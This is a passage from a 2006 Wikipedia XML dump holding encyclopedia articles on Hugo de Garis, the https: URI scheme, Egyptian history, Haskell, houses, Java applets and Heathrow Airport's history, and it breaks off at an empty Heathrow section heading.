&lt;!-- Tips for referencing:

For websites, use the formatting below (date/year are when you accessed the web page):
{{Web reference | title=Title of page | work=Title of Complete Work | url=http://www.example.com | date=Month Day | year=Year}}

For Books, use:
{{Book reference | Author=Lincoln, Abraham; Grant, U. S.; &amp; Davis, Jefferson | Title=Resolving Family Differences Peacefully | Publisher=Gettysburg: Printing Press | Year=1861 | Editor=Stephen A. Douglas | ID=ISBN 0-12-345678-9}}

For other sources, see: [[WP:CITET]]
--&gt;
{{unreferenced}}

{{Mediterranean}}

[[Category:Mediterranean]]
[[Category:History by region]]

[[fr:Histoire de la Méditerranée]]
[[nn:Middelhavsland]]</text>
    </revision>
  </page>
  <page>
    <title>Hugo de Garis</title>
    <id>13585</id>
    <revision>
      <id>41782876</id>
      <timestamp>2006-03-01T18:44:28Z</timestamp>
      <contributor>
        <username>Bhouston</username>
        <id>319269</id>
      </contributor>
      <minor />
      <comment>/* See also */ added [[Technological singularity]] link</comment>
      <text xml:space="preserve">'''Hugo de Garis''' (born [[1947]], [[Sydney]], [[Australia]]) is an associate professor of [[computer science]] at [[Utah State University]]. He is one of the more notable researchers in the sub-field of [[artificial intelligence]] known as [[evolvable hardware]] which involves evolving [[neural net]] circuits directly in hardware to build artificial brains.

He is more recently notorious for his view of eventual AI dominance over humans which has sparked debate and criticism, particularly among the more media-friendly members of the AI research community.

De Garis's early studies were on [[theoretical physics]], but he abandoned this field of research in favour of AI and [[artificial life]]. 

==Evolvable Hardware==

This technique, involving development and use of neurons using a 3D [[cellular automaton]], seems to have been used with success to build simple functionalities like the [[exclusive or|xor]] function, but, up to now, failed to evolve anything that could be considered as a brain, or even a serious robot control system. His current project is to assemble thousands of these 'brains' into a larger artificial intelligence architecture to make a functioning AI.

Critics find that de Garis tends towards &quot;quantity not quality&quot; in asserting that the degree of complexity displayed within his evolved hardware is a breakthrough in itself, without acknowledging that the harder problem is to create systems whose complexity is actually functional and fit for its purpose, or indeed, any purpose.

==Cosmists and Terrans==
De Garis predicts that one day intelligent machines (or 'artilects', as he calls them) will be far more intelligent than humans and threaten to dominate the world, resulting in a conflict between 'cosmists', or supporters of the artilects, and 'terrans', those who oppose the artilects (both of these are terms of his invention). He describes this conflict as the 'gigadeath war'. This scenario is very similar to common science fiction themes, such as found in the hit 1984 movie &quot;Terminator&quot;. He has recently authored a book describing his views on this topic titled ''The Artilect War''.  

Cosmism, according to de Garis, is a moral philosophy that favors building or growing [[artificial intelligence]] and ultimately leaving the [[planet]] [[Earth]] to the [[Terran]]s, e.g. [[Kevin Warwick]] and [[Bill Joy]], who oppose this path for [[human]]ity.  In his [[essay]] &quot;The Artilect War&quot;, De Garis predicts that the [[faction]]s will [[war]] to the death.

De Garis relates that &quot;just out of curiosity, I asked Kevin whether he was a Terran or a Cosmist. He said he was against the idea of artilects being built (i.e., he is Terran).  I was surprised, and felt a shiver go up my spine.  That moment reminded me of a biography of [[Lenin]] that I had read in my 20s in which the [[Bolshevik]]s and the [[Menshevik]]s first started debating the future government of [[Russia]].  What began as an intellectual difference ended up as a Russian [[civil war]] after [[1917]] between the white and the red Russians.&quot;

Accordingly, the war might be said to have begun at a [[debate]] in [[Zurich]] on [[March 22]], [[2000]].  Some [[technologist]]s, such as [[Bill Joy]], [[Ray Kurzweil]], and [[Hans Moravec]]; a few [[physicist]]s; and [[mathematician]]s, such as [[Roger Penrose]], have taken positions in this &quot;war&quot;.

==Quotes==
* ''Humans should not stand in the way of a higher form of evolution. These machines are godlike. It is human destiny to create them.''
{{right|&amp;mdash; as quoted in ''[[New York Times Magazine]]'' of [[August 1]], [[1999]], speaking of the 'artilects' of the future.}}

==See also==
* [[Cosmism (Russian)|Cosmism]] - early 20th century, similar expansiveness.
* [[Technological singularity]]
* [[Friendly artificial intelligence]]

==External links==
*[http://www.cs.usu.edu/~degaris/ The professor's American mirror web site]
*[http://www.cs.usu.edu/~degaris/news/zurich.html First Shot in Artilect War Fired]

[[Category:1947 births|Garis, Hugo de]]
[[Category:Living people|Garis, Hugo de]]
[[Category:Artificial intelligence researchers|Garis, Hugo de]]
[[Category:Transhumanists|Garis, Hugo de]]
[[Category:Cosmists|Garis, Hugo de]]
[[Category:Artilect war|Garis, Hugo de]]
[[Category:Ethics|Garis, Hugo de]]</text>
    </revision>
  </page>
  <page>
    <title>Https: URI scheme</title>
    <id>13586</id>
    <revision>
      <id>40770913</id>
      <timestamp>2006-02-22T22:32:31Z</timestamp>
      <contributor>
        <ip>202.175.135.142</ip>
      </contributor>
      <comment>/* How it works */</comment>
      <text xml:space="preserve">{{lowercase|title=https: URI scheme}}

The '''https: URI scheme''' is a [[URI scheme]] which is equivalent and syntactically identical to the &lt;tt&gt;http:&lt;/tt&gt; scheme normally used for accessing resources using [[HyperText Transfer Protocol|HTTP]]. Using an &lt;tt&gt;https:&lt;/tt&gt; [[Uniform Resource Locator|URL]] indicates that HTTP is to be used, but with additional security measures applied to the transactions. This system was invented by [[Netscape Communications Corporation]] to provide [[authentication]] and [[encryption|encrypted]] communication and is widely used on the [[World Wide Web|Web]] for security-sensitive communication, such as payment transactions.

==How it works==
HTTPS is not, strictly, a separate protocol, as the data is still transferred using HTTP; however, instead of using [[plain text]] socket communication, the [[session management|session]] data is [[encryption|encrypted]] using a version of the [[Secure Socket Layer]] (SSL) or [[Transport Layer Security]] (TLS) protocols, thus ensuring reasonable protection from eavesdroppers and [[man in the middle attack]]s. The default [[Transmission Control Protocol|TCP]] [[List of well-known ports (computing)|port]] of an &lt;tt&gt;https:&lt;/tt&gt; URI is 443 (for unsecured HTTP, the default is 80).

To prepare a web-server for accepting https connections the administrator must create a [[public key certificate]] for the web-server. These certificates can be created for [[Linux]] based servers with tools such as [http://www.openssl.org/contrib/ OpenSSL]'s &lt;tt&gt;ssl-ca&lt;/tt&gt; or [[SuSE]]'s &lt;tt&gt;gensslcert&lt;/tt&gt;. This certificate must be signed by a [[certificate authority]] of one form or another, who certifies that the certificate holder is who they say they are. Web browsers are generally distributed with the signing certificates of major certificate authorities such as [http://www.verisign.com/ VeriSign], so that they can verify certificates signed by them.

Organizations may also run their own certificate authority, particularly if they are responsible for setting up browsers to access their own sites (for example, sites on a company intranet), as they can trivially add their own signing certificate to the defaults shipped with the browser.

Finally, for a single site, [[self-signed certificate]]s can be the ideal solution. It is important to understand though, that unless the certificate can be verified in some way (for example, phoning the certificate owner to verify its checksum), there is a risk of a [[man in the middle]] attack.

The system can also be used for client [[authentication]], in order to restrict access to a web-server to only authorized users. For this, typically the site administrator creates certificates for each user, which are loaded into their browser, although certificates signed by any certificate authority the server trusts, should work. These normally contain the name and e-mail of the authorized user, and are automatically checked by the server on each reconnect to verify the user's identity, potentially without ever entering a password.'''

==Caveats==
The level of protection depends on the correctness of the [[implementation]] by the [[web browser]] and the server software and the actual [[cipher|cryptographic algorithm]]s supported.

A common misconception among credit card users on the Web is that ''https:'' &quot;fully&quot; protects their transaction when submitting a card purchase, when in reality card information is only encrypted between their browser and the receiving Web server. Merchant sites are supposed to immediately forward incoming transactions to a financial gateway and retain only a transaction number, but receiving web servers often save card numbers in a database. It is that server and database that is usually attacked and compromised by unauthorized users. (In a sense, ''https:'' is similar to handing your card to a waiter at a restaurant while covering your card number with your thumb:  it prevents anyone else from seeing your number while giving the card to the waiter, but once the card has been handed over the waiter can do anything with the information.)

== See also ==
*[[computer security]]
*[[AAA protocol]]
*[[Secure hypertext transfer protocol]], an alternative to https that is not widely supported (defined in RFC 2660)

== External links ==
*RFC 2818 ''HTTP over TLS''
*[http://httpd.apache.org/docs-2.0/ssl/ssl_intro.html SSL/TLS Strong Encryption: An Introduction from the Apache HTTP Server Version 2.0 Documentation]
*[http://serversniff.net/sslcheck.php serversniff.net enumerates a https-server's certificate, supported protocols and ciphers]

[[Category:HTTP]]
[[Category:Cryptographic protocols]]
[[Category:URI scheme]]

[[cs:HTTPS]]
[[da:HTTPS]]
[[de:Hypertext Transfer Protocol Secure]]
[[es:HTTPS]]
[[ko:HTTPS]]
[[id:HTTPS]]
[[it:HTTPS]]
[[nl:HTTPS]]
[[ja:HTTPS]]
[[no:HTTPS]]
[[pl:HTTPS]]
[[pt:HTTPS]]
[[ru:HTTPS]]
[[sk:HTTPS]]
[[fi:HTTPS]]
[[sv:HTTPS]]
[[tr:HTTPS]]
[[zh:HTTPS]]</text>
    </revision>
  </page>
  <page>
    <title>History of Egypt</title>
    <id>13588</id>
    <revision>
      <id>41881573</id>
      <timestamp>2006-03-02T09:24:07Z</timestamp>
      <contributor>
        <username>Adam Carr</username>
        <id>22444</id>
      </contributor>
      <comment>rvv</comment>
      <text xml:space="preserve">{{History of Egypt}}
[[Image:Egypt.Hathor.02.jpg|right|thumb|200px|[[Hathor]]]]

The '''history of Egypt''' is the longest continuous history, as a unified state, of any country in the world. The [[Nile]] valley forms a natural geographic and economic unit, bounded to the east and west by deserts, to the north by the sea and to the south by the [[Cataracts of the Nile]]. The need to have a single authority to manage the waters of the Nile led to the creation of the world's first [[state]] in [[Egypt]] in about [[3000 BC]]. Egypt's peculiar geography made it a difficult country to attack, which is why Pharaonic Egypt was for so long an independent and self-contained state. 

Once Egypt did succumb to foreign rule, however, it proved unable to escape from it, and for 2,300 years Egypt was governed by foreigners: [[Assyria|Assyrians]], [[Persian Empire|Persians]], [[Ancient Greece|Greeks]], [[Ancient Rome|Romans]], [[Byzantine Empire|Byzantines]], [[Arabs]], [[Ottoman Empire|Turks]], [[French Colonial Empire|French]], and [[United Kingdom|British]]. When [[Gamal Abdel Nasser]] ([[President of Egypt]] 1954&amp;ndash;1970) remarked that he was the first native Egyptian to exercise sovereign power in the country since [[Pharaoh]] [[Nectanebo II]], deposed by the Persians in [[343 BC]], he was only exaggerating slightly.

In this encyclopedia Egyptian history has been divided into seven periods:

*[[History of ancient Egypt]]: [[3000 BC]] to [[525 BC]]
*[[History of Egypt Under Achaemenid Persian Domination]]: [[525 BC]] to [[332 BC]]
*[[History of Greek and Roman Egypt]]: [[332 BC]] to AD [[639]] 
*[[History of early Arab Egypt]]: [[639]] to [[1517]]
*[[History of Ottoman Egypt]]: [[1517]] to [[1805]]
*[[Egypt under Muhammad Ali and his successors]]: [[1805]] to [[1882]]
*[[History of Modern Egypt]]: since [[1882]]

==See also==
*[[Aegyptus]]
*[[Ancient Egypt]]
*[[Egyptian mythology]]
*[[History of Africa]]
*[[History of the Middle East]]
*[[Pharaoh]]

==External links==
*[http://www.badley.info/history/Egypt.country.year.index.html Modern Egypt Chronology World History Database]
*[http://st-takla.org/Egypt-1.html Egypt.. the past and the present]
*[http://vlib.iue.it/history/chronological/ancient_egypt.html WWW-VL: History: Ancient Egypt]
{{Africa in topic|History of}}

[[Category:Ancient Egypt]]
[[Category:History of Egypt| ]]
[[Category:History of the Middle East|Egypt, history of]]

[[ar:تاريخ مصر]]
[[da:Ægyptens historie]]
[[es:Historia de Egipto]]
[[fi:Muinainen Egypti]]
[[fr:Histoire de l'Égypte]]
[[gl:Historia do Exipto]]
[[he:היסטוריה של מצרים]]
[[it:Storia dell'Egitto]]
[[la:Historia Aegypta]]
[[lt:Egipto istorija]]
[[nl:Geschiedenis van Egypte]]
[[oc:Istòria de l'Egipte]]
[[pl:Historia Egiptu]]
[[pt:História do Egipto]]
[[ru:История Египта]]
[[sv:Egyptens historia]]
[[zh:埃及历史]]</text>
    </revision>
  </page>
  <page>
    <title>Haskell</title>
    <id>13589</id>
    <revision>
      <id>41782490</id>
      <timestamp>2006-03-01T18:41:07Z</timestamp>
      <contributor>
        <ip>129.107.62.88</ip>
      </contributor>
      <text xml:space="preserve">The name '''Haskell''' may refer to:

*The [[Haskell Indian Nations University]]
*The [[Haskell programming language]]
*[[Haskell Curry]], the logician after whom the Haskell programming language is named
*[[Colleen Haskell]], former reality show contestant and actress
*[[Susan Haskell]], actress from ''One Life to Live'' and ''JAG''
[[Image:Uptown street.jpg|thumb|right|250px|Tree-lined Haskell Ave]]
*[[Haskell, Texas]], United States
*Haskell Avenue,tree-lined boulevard in [[Uptown Dallas]],[[Texas]], United States

{{disambig}}

[[de:Haskell]]
[[fa:هسکل]]</text>
    </revision>
  </page>
  <page>
    <title>House</title>
    <id>13590</id>
    <revision>
      <id>42131070</id>
      <timestamp>2006-03-04T00:50:59Z</timestamp>
      <contributor>
        <username>Vsmith</username>
        <id>84417</id>
      </contributor>
      <minor />
      <comment>Reverted edits by [[Special:Contributions/Invincible Ninja|Invincible Ninja]] ([[User talk:Invincible Ninja|talk]]) to last version by Stephenb</comment>
      <text xml:space="preserve">[[Image:20031012-002-houses-st-albans.jpg|right|190px|thumb|Houses in Fishpool Street, [[St Albans]], England]]
:''For other meanings of the word &quot;house&quot;, see [[House (disambiguation)]]''.

A '''house''' in its  most general sense is a [[human]]-built dwelling with enclosing [[wall]]s, a [[floor]], and a [[roof]]. It provides shelter against [[precipitation (meteorology)|precipitation]], [[wind]], [[heat]], [[cold]] and intruding [[human]]s and [[animal]]s. When occupied as a routine dwelling for humans, a house is called a [[home]] (though animals may often live in the house as well, both domestic pets and &quot;unauthorised&quot; animals such as mice living in the walls). People may be away from home most of the day for [[employment|work]] and [[recreation]], but typically are home at least for [[sleep|sleeping]].

A house generally has at least one entrance, usually in the form of a [[door]] or a [[portal]]. Many houses have back doors that open into the back yard and may have any number of [[window]]s or none at all.

==Types of house==

:''See also [[list of house types]]''.

There are three basic house types: 
* houses standing on their own ([[detached]] houses)
* houses attached to one other house ([[semi-detached]] houses)
* houses attached to two other houses, possibly in a row ([[terrace (architecture)|terraced]] (GB) or rowhouse (USA) houses).

In [[Britain]] terraced or semi-detached houses are the most common type of accommodation, with 27% of all British people living in a terraced house and 32% in semi-detached houses ([[2002]]). In the [[USA]] in [[2000]], 61.4% of people lived in detached houses and 5.6% in semi-detached houses, the rest living in rowhouses or [[apartment]]s, except 7% living in [[mobile home]]s.

A(Face house) is built in one or more [[facess; though its most common use is a [[fort]] or [[playhouse]] for [[child]]ren, this design is sometimes used as a house for [[adult]]s.

== Inside the house ==
[[Image:HouseFlrPlan.JPG|left|Typical [[United States|U.S.]] house [[floor plan]].]] Houses consist of many specific designated [[room]]s. Basic design consists of a living/eating area, a sleeping area, and (if indoor facilities are available) a washing/lavatory area. Often, in traditional agrarian societies, domestic animals such as chickens or larger livestock share part of the house with human beings. In the West, where plumbing is common and the standard of living fairly high, each house will at least contain a [[bedroom]], [[bathroom]], [[kitchen]] or kitchen area, and a [[living room]]. These rooms should be designed to meet the needs of the people who live in the house. This designing is known as [[interior design]] and it is a popular subject in universities. [[Feng shui]], originally a Chinese method of situating houses according to such factors as sunlight and microclimates, has recently been expanded to include designing house interiors with the intention of giving harmonious effects to the people living inside the house.
&lt;br&gt;

==Shelters==
Forms of '''shelter''' simpler than a house include [[dugout (shelter)|dugout]]s, ''[[yaodong]]s'', [[tent]]s (see also [[camp]]), [[camper]]s, [[hut (dwelling)|hut]]s, [[roof]]s without [[wall]]s, or a structure with roof and partial walls, such as often at a [[bus stop]] (see picture there), and a [[gazebo]].

==Construction==
Popular modern house construction techniques include [[light-frame construction]] in areas with access to supplies of wood, and [[adobe]] or sometimes [[rammed-earth construction]] in arid regions with scarce wood resources. In some areas [[brick]] is used almost exclusively. Increasingly popular alternative construction methods include insulated concrete forms (foam forms filled with concrete), structural insulated panels (foam panels faced with oriented strand board or fiber cement), and light-gauge steel framing and heavy-gauge steel framing. Some home designers have begun to collaborate with structural engineers who use computers and [[finite element analysis]] to design kitted and pre-cut steel framed homes with known resistance to high wind loads and seismic forces. These newer products provide labor savings, more consistent quality, and may accelerate the construction process. They are more consistently used than are the lesser used approaches described below.  Lesser used construction methods which have recently gained (or regained) popularity in recent years. Examples of these are [[Cannabrick construction]], [[cordwood construction]], [[straw bale construction]], and [[geodesic dome|geodesic domes]]. These methods are not widely used and frequently are adopted by homeowners who may be actively involved in the construction process.

==Animal houses==
Humans often build houses for domestic or wild animals, often resembling smaller versions of human domiciles. Familiar animal houses built by humans include '''[[bird house]]s''' and '''[[dog house]]s''', while domiciles for agricultural animals are more often called [[Barn (building)|barn]]s.

However, human interest in building houses for animals does not stop at the domestic pet. People build bird houses, bat houses, nesting sites for wild ducks, and more.

==Usage in language==
As a verb, to ''house'' (pronounced &quot;haʊz&quot;) is to provide a routine locale for an object, a person or an organization. Historic or artistic artifacts, for example, are said to be housed in museums. A business may be housed in a storefront, or a family may be housed in an apartment or a house. A collection of domiciles, either for persons, for organizations, for animals or for objects, is often called ''housing''. An individual person or a single object might also find housing in an appropriate [[domicile]].

In English the word &quot;house&quot; on its own usually refers to a dwelling for one family, or for more than one family living together, sharing the house. In other languages the translation for &quot;house&quot; often covers other types of building such as tower blocks or commercial property: in German, for example, a &quot;Haus&quot; can also refer to a hotel or a block of flats.

In English, the word &quot;house&quot; can be used in combination with other words to describe buildings other than residential dwellings, such as an [[opera house]], a &quot;monkey house&quot; (a building for several cages) in a zoo, etc. A &quot;madhouse&quot; is a disparaging term for a [[mental hospital]] or [[insane asylum]] (also see [[House (disambiguation)]] for more.) The [[White House]] also has only a secondary use as a dwelling.

&quot;House&quot; and &quot;home&quot; are not synonymous. &quot;Home&quot; has a more [[Wiktionary:abstract|abstract]] and [[Wiktionary:poetic|poetic]] meaning.

== Heraldry ==

The house is an exceedingly rare charge in [[heraldry]].

== See also == 
{| width=100%
| valign=top width=50% |
===Articles===
* [[Building material]]
* [[Domotics]] and [[home automation]]
* [[Earth-sheltered home]]
* [[Housing estate]]
* [[Affordable housing]]
* [[Housing in Japan]]
* [[Housewarming party]]
* [[Hurricane proof house]]
* [[Modular home]]
* [[Lustron]]
* [[Lodging]]
* [[Mobile home]]
* [[Prefabrication]]
* [[Mobile home|Trailer]]

| valign=top width=50% |
===Lists===
* [[List of house types]]
* [[List of house styles]]
* [[List of types of lodging]]
* [[List of real estate topics]]
* [[List of famous American Houses]]
|}

==External links==
*[http://y2u.co.uk/&amp;002_Images/Downland_Museum%2001.htm Photos of rare houses at Singleton Wealdland and Downland Museum, Nr Chichester]
*[http://muebles.vagos.es Home furniture]
*[http://uk.geocities.com/db142002 The house occupies a fundamental part of the human psyche. Man unique among the animal kingdom has always lived inside, early man we understand living in such shelters as caves. We have come to know the world we live in as &quot;outside&quot;. But a pirate radio situation of many years in Ireland played around with these fundamentals.] 
&lt;!-- Other languages --&gt;
&lt;!-- Categories --&gt;

&lt;!--
[[Image:Blue house.jpg|left|framed|House painted [[blue]]]]
--&gt;

[[Category:Houses]]
[[Category:Building engineering]]
[[Category:Structural system]]
[[bn:&amp;#2456;&amp;#2480;]]
[[cy:Tŷ]]
[[da:Hus]]
[[de:Haus]]
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[[nah:Txantli]]
[[id:Rumah]]
[[it:Casa]]
[[ja:&amp;#23478;&amp;#23627;]]
[[nl:Woning]]
[[pl:Dom]]
[[pt:Casa]]
[[ru:Жилище]]
[[simple:House]]
[[su:Imah]]
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[[fi:Talo]]
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[[to:Fale]]
[[vi:Nhà]]
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    <title>How-tos</title>
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  <page>
    <title>Java applet</title>
    <id>13593</id>
    <revision>
      <id>42030539</id>
      <timestamp>2006-03-03T09:06:31Z</timestamp>
      <contributor>
        <username>Stephen B Streater</username>
        <id>922221</id>
      </contributor>
      <comment>/* Compatibility issues */</comment>
      <text xml:space="preserve">{{cleanup-date|January 2006}}
A '''Java applet''' is an [[applet]] written in the [[Java programming language]]. Java applets can run in a [[web browser]] using a [[Java virtual machine]] (JVM), or in [[Sun Microsystems|Sun]]'s [[AppletViewer]], a stand alone tool to test applets. Java applets were introduced by Sun in [[1995]].

Applets are used to provide interactive features to web applications that cannot be provided by [[HTML]]. They are executed in a ''[[sandbox (security)|sandbox]]'' by most web browsers, preventing them from accessing local data. The code of the applet is downloaded from a [[web server]] and the browser either embeds the applet into a web page or opens a new window showing the applet's [[user interface]]. The applet can be displayed on the web page by making use of the deprecated &lt;code&gt;APPLET&lt;/code&gt; [[HTML element]] [http://www.w3.org/TR/html401/struct/objects.html#edef-APPLET], or the recommended &lt;code&gt;OBJECT&lt;/code&gt; element [http://www.w3.org/TR/html401/struct/objects.html#edef-OBJECT]. This specifies the applet's source and the applet's location statistics. The applet's location cannot be controlled by [[Cascading Style Sheets]].

Since Java's [[bytecode]] is [[platform independent]], Java applets can be executed by browsers for many platforms, including [[Microsoft Windows|Windows]], [[Unix]], [[Mac OS]] and [[Linux]].

A [[Java Servlet]] is sometimes informally compared to be &quot;like&quot; a server-side applet, but it is different in its language, functions, and in each of the characteristics described here about applets.

== Technical information ==

A Java applet extends the class {{Javadoc:SE|package=java.applet|java/applet|Applet}}, or in the case of a [[Swing (Java)|Swing]] applet, {{Javadoc:SE|package=javax.swing|javax/swing|JApplet}}. The class must override methods from the applet class to set up a user interface inside itself (&lt;code&gt;Applet&lt;/code&gt; is a descendent of {{Javadoc:SE|java/awt|Panel}} which is a descendent of {{Javadoc:SE|java/awt|Container}}).

== Compatibility issues ==

[[Sun_Microsystems|Sun]] has made a considerable effort to ensure compatibility is maintained between Java versions as they evolve. For example, [[Microsoft]]'s [[Internet Explorer]], the most popular web browser since late 1990s, used to ship with Microsoft's own [[JVM]] as the default. The MSJVM had some extra non-Java features added which, if used, would prevent MSJVM applets from running on Sun's Java (but not the other way round). Sun sued for breach of [[trademark]], as the point of Java was that there should be no proprietary extensions and that code should work everywhere. Development of MSJVM was frozen by a legal settlement, leaving many users with an extremely outdated Java virtual machine. Later, in October 2001, MS stopped including Java with Windows, and for some years it has been left to the computer manufacturers to ship Java independently of the OS. Most new machines now ship with official Sun Java.

Some browsers (notably [[Firefox]]) do not do a good job of handling &lt;tt&gt;height=100%&lt;/tt&gt; on applets which makes it difficult to make an applet fill most of the browser window ([[Javascript]] can be used for this but its hard to get it perfect). Having the applet create its own main window is not a good solution either, as this leads to a large chance of the applet getting terminated unintentionally and leaves the browser window as a largely useless extra window.

== Advantages of applets ==
A Java applet can have any or all of the following advantages:
*it is simple to make it work on Windows, Mac OS and Linux, i.e. to make it cross platform
*the same applet can work on &quot;all&quot; installed versions of Java at the same time, rather than just the latest [[plug-in]] version only
*it can work without any security approval from the user - who doesn't need to trust the software's author
*it is supported by most [[web browser]]s
*it will [[cache]] in most web browsers, so will be quick to load when returning to a web page
*it can have full access to the machine it is running on if the user agrees
*it can improve with use: after a first applet is run, the JVM is already running and starts quickly, benefitting regular users of Java
*it can run at a comparible (but generally slower) speed to other compiled languages such as [[C++]]
*it can be a [[real-time computing|real time]] application
*it can move the work from the [[server (computing)|server]] to the [[client (computing)|client]], making a web solution more scaleable with the number of users/clients

== Disadvantages of applets ==
A Java applet is open to any of the following disadvantages:
*it requires the Java [[plug-in]], which isn't available by default on all [[web browser]]s
*it can't start up until the [[JVM]] is running, and this may have significant startup time the first time it is used
*if it is uncached, it must be downloaded (usually over the [[internet]]), and this takes time
*it is considered more difficult to build and design a good [[user interface]] with applets than with [[HTML]]-based technologies
*if untrusted, it has severely limited access to the user's system - in particular having no direct access to the client's disc or clipboard

Though not strictly a disadvantage of Java applets, alternative technologies exist (for example, [[Ajax (programming)|Ajax]] and [[Macromedia Flash|Flash]]) that satisfy much of the scope of what is possible with an applet. 

Another option for client side java is [[Java Web Start]]. This runs outside the browser getting arround many of the compatibility issues and makes availible a number useful of APIs for interacting with things like files and the clipboard from untrusted code. 

== See also ==

* [[Java Servlet]]
* [[Java Web Start]]
* [[ActiveX|ActiveX control]]s
* [[Macromedia Flash]]
* [[Java programming language|Java]]

== External links ==

*[http://java.sun.com/docs/books/tutorial/applet/index.html Information about writing applets from Sun Microsystems]
*[http://java.sun.com/applets/jdk/1.0/index.html Demonstration applets from Sun Microsystems] ([[JDK]] 1.0)
*[http://www.java.com/en/download/download_the_latest.jsp Download the latest version of Sun Microsystems Java Virtual Machine] (includes browser plug-ins for runing Java applets in most web browsers).
*[http://www-math.mit.edu/daimp Some mathematics applets, at MIT]
*[http://forscene.net/guest/ Video editing/publishing applet from Forbidden Technologies]
*[http://www.jpowered.com/ JPowered.com for prebuilt applets]

[[Category:Java platform|Applet]]
[[Category:Java programming language|Applet]]

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  <page>
    <title>London Heathrow Airport</title>
    <id>13595</id>
    <revision>
      <id>41403092</id>
      <timestamp>2006-02-27T02:24:01Z</timestamp>
      <contributor>
        <ip>69.192.243.110</ip>
      </contributor>
      <comment>/* Terminal 1 */</comment>
      <text xml:space="preserve">{{Airport frame}}
 {{Airport title|name=Heathrow Airport|}}
 {{Airport image|airport_image=heathrow.london.750pix.jpg}}
 {{Airport infobox |
  IATA         = LHR |
  ICAO         = EGLL |
  type         = public |
  run by       = [[BAA plc|BAA]] |
  closest town = London|
  elevation_ft = 80 |
  elevation_m  = 24 |
  coordinates  = {{coor dms|51|28|39|N|0|27|41|W|type:airport}}
 }}
 {{Runway title}}
 {{Runway|
  runway_angle    = 09L/27R |
  runway_length_f = 12,801 |
  runway_length_m = 3,902 |
  runway_surface  = Grooved Asphalt |
 }}
 {{Runway|
  runway_angle    = 09R/27L |
  runway_length_f = 12,001 |
  runway_length_m = 3,658 |
  runway_surface  = Grooved Asphalt |
 }}
 {{Runway|
  runway_angle    = 23 |
  runway_length_f = 5,551 |
  runway_length_m = 1,692 |
  runway_surface  = Paved |
 }}
{{Airport end frame}}

'''London Heathrow Airport''' {{Airport codes|LHR|EGLL}}, often referred to as '''Heathrow''', is the [[United Kingdom]]'s busiest and best-connected [[airport]]. It is the busiest airport in Europe and by international passenger traffic is the [[List of the world's busiest airports by international passenger traffic |busiest international airport]] in the world. By total passenger traffic it is the world's third-busiest airport. Heathrow is located in the [[London Borough of Hillingdon]], 15 miles (24 km) west of [[Charing Cross]] in [[Central London]].


== History==
Heathrow began in the 1930s as the Great Western Aerodrome, privately owned by [[Fairey Aviation]], primarily for testing, the land being acquired from the [[vicar]] of Harmondsworth. The airport was named after the hamlet [[Heathrow, London|Heath Row]], which was demolished to make way for the airport and was located approximately where Terminal 3 is sited now. [http://www.thisislongford.com/heathrow.htm]. It had no commercial traffic and [[Croydon Airport]] was then the main airport for London.

In [[1944]] Heathrow came under control of the Ministry of Air. [[Harold Balfour]] (later Lord Balfour, then Under-[[Secretary of State for Air]] [[1938]]-[[1944]], wrote in his 1973 autobiography ''Wings over Westminster'' that he deliberately deceived the government committee that a requisition was necessary in order that Heathrow could be used as a [[bomber]] base. In fact, Balfour wrote, he always intended the site to be used for civil aviation and used a wartime emergency requisition order to avoid a lengthy and costly [[public inquiry]]. The [[Royal Air Force]] never made use of the airport and control was transferred to the Ministry of Civil Aviation on [[1 January]] [[1946]], the first civil flight that day being to [[Buenos Aires]], via [[Lisbon]] for refuelling.

The airport opened fully for civilian use on [[31 May]] [[1946]]. By 1947 Heathrow had three runways with three more under construction. These older runways, built for [[aircraft engine|piston-engined]] planes, were short, and criss-crossed to allow flights in all wind conditions. The first concrete slab of the first modern runway was ceremonially placed by Queen [[Elizabeth II of the United Kingdom|Elizabeth II]] in [[1953]]. She also opened the first terminal building, the Europa Building (later Terminal 2), in 1955. Shortly afterwards the Oceanic Terminal (later Terminal 3) became operational. Terminal 1 was opened in 1968, completing the cluster of buildings at the centre of the Heathrow site. The location of the original terminals in the centre of the site has since become a constraint to expansion. This decision was due to an early assumption that airline passengers would not require extensive car parking, as air travel was then only affordable to the wealthy, who would be chauffeur-driven.

[[image:heathrow.view.arp.jpg|thumb|right|250px|View across Heathrow Airport. The Concorde is G-BOAB in open-air storage.]]

In [[1977]], the [[London Underground]] was extended to Heathrow, connecting the airport with Central London in just under an hour via the [[Piccadilly Line]]. Currently the loop to Terminal 4 is inactive, with all underground trains terminating at the station for Terminals 1, 2 and 3. This is to allow the loop to be extended to Terminal 5; this extension is currently dubbed &quot;PiccEx&quot;, an abbreviation of &quot;'''Picc'''adilly Line '''Ex'''tension&quot;. The loop, together with the T4 and T5 underground stations, is expected to re-open in [[2007]].

Terminal 4 was built away from the three older terminals, to the south of the southern runway. The terminal opened in 1986 and became the home for then newly privatised [[British Airways]]. In [[1987]], the British Government [[privatised]] the [[BAA plc|British Airports Authority]] (now just &quot;BAA plc&quot;), which included seven of Britain's airports, including Heathrow.

===Terrorism===
Over a period of six days in 1994 Heathrow was targeted three times ([[8 March]], [[10 March]] and [[13 March]]) by the IRA, who fired twelve mortars. Heathrow was an important symbolic target, due its importance to the UK economy and the massive disruption caused when areas of the airport were closed over the period. Coverage of the incident was heightened by the fact that the Queen was being flown back to Heathrow by the RAF on [[10 March]].

In February 2003 the [[British Army]] was deployed to Heathrow, along with 1,000 extra police officers, due to intelligence reports that [[al-Qaeda]] terrorists might launch surface-to-air missile attacks on British or American airports.

===Security ===
[[image:road.ba.b777.arp.jpg|thumb|right|250px|An unusual public road at [[London]] [[Heathrow Airport]]. A British Airways [[Boeing 777]]-200 is being towed across the road on its way to the maintenance hangars]]
Routine policing of the airport is performed by the [[SO18|aviation security]] unit of the [[Metropolitan Police]], however [[British Army|the army]], including armoured vehicles of the [[Household Cavalry]], has occasionally been deployed to the airport during periods of heightened security.

On [[26 November]] [[1983]] the [[Brinks Mat robbery]] occurred, when 6,800 [[gold]] bars worth nearly £26 million were taken from the Brink's Mat vault near Heathrow. Only a fraction of the gold was ever recovered and only two men were convicted of the crime.

In March [[2002]], thieves stole US $3 million that had arrived on a [[South African Airways]] flight. 

[[Scotland Yard|Scotland Yard's]] [[Flying Squad]] foiled an attempt by seven men to steal [[Pound sterling|£]]40 million in gold bullion and a similar quantity of cash from the Swissport [[warehouse]] at Heathrow on [[17 May]] [[2004]].

===Air disasters with connections to Heathrow===
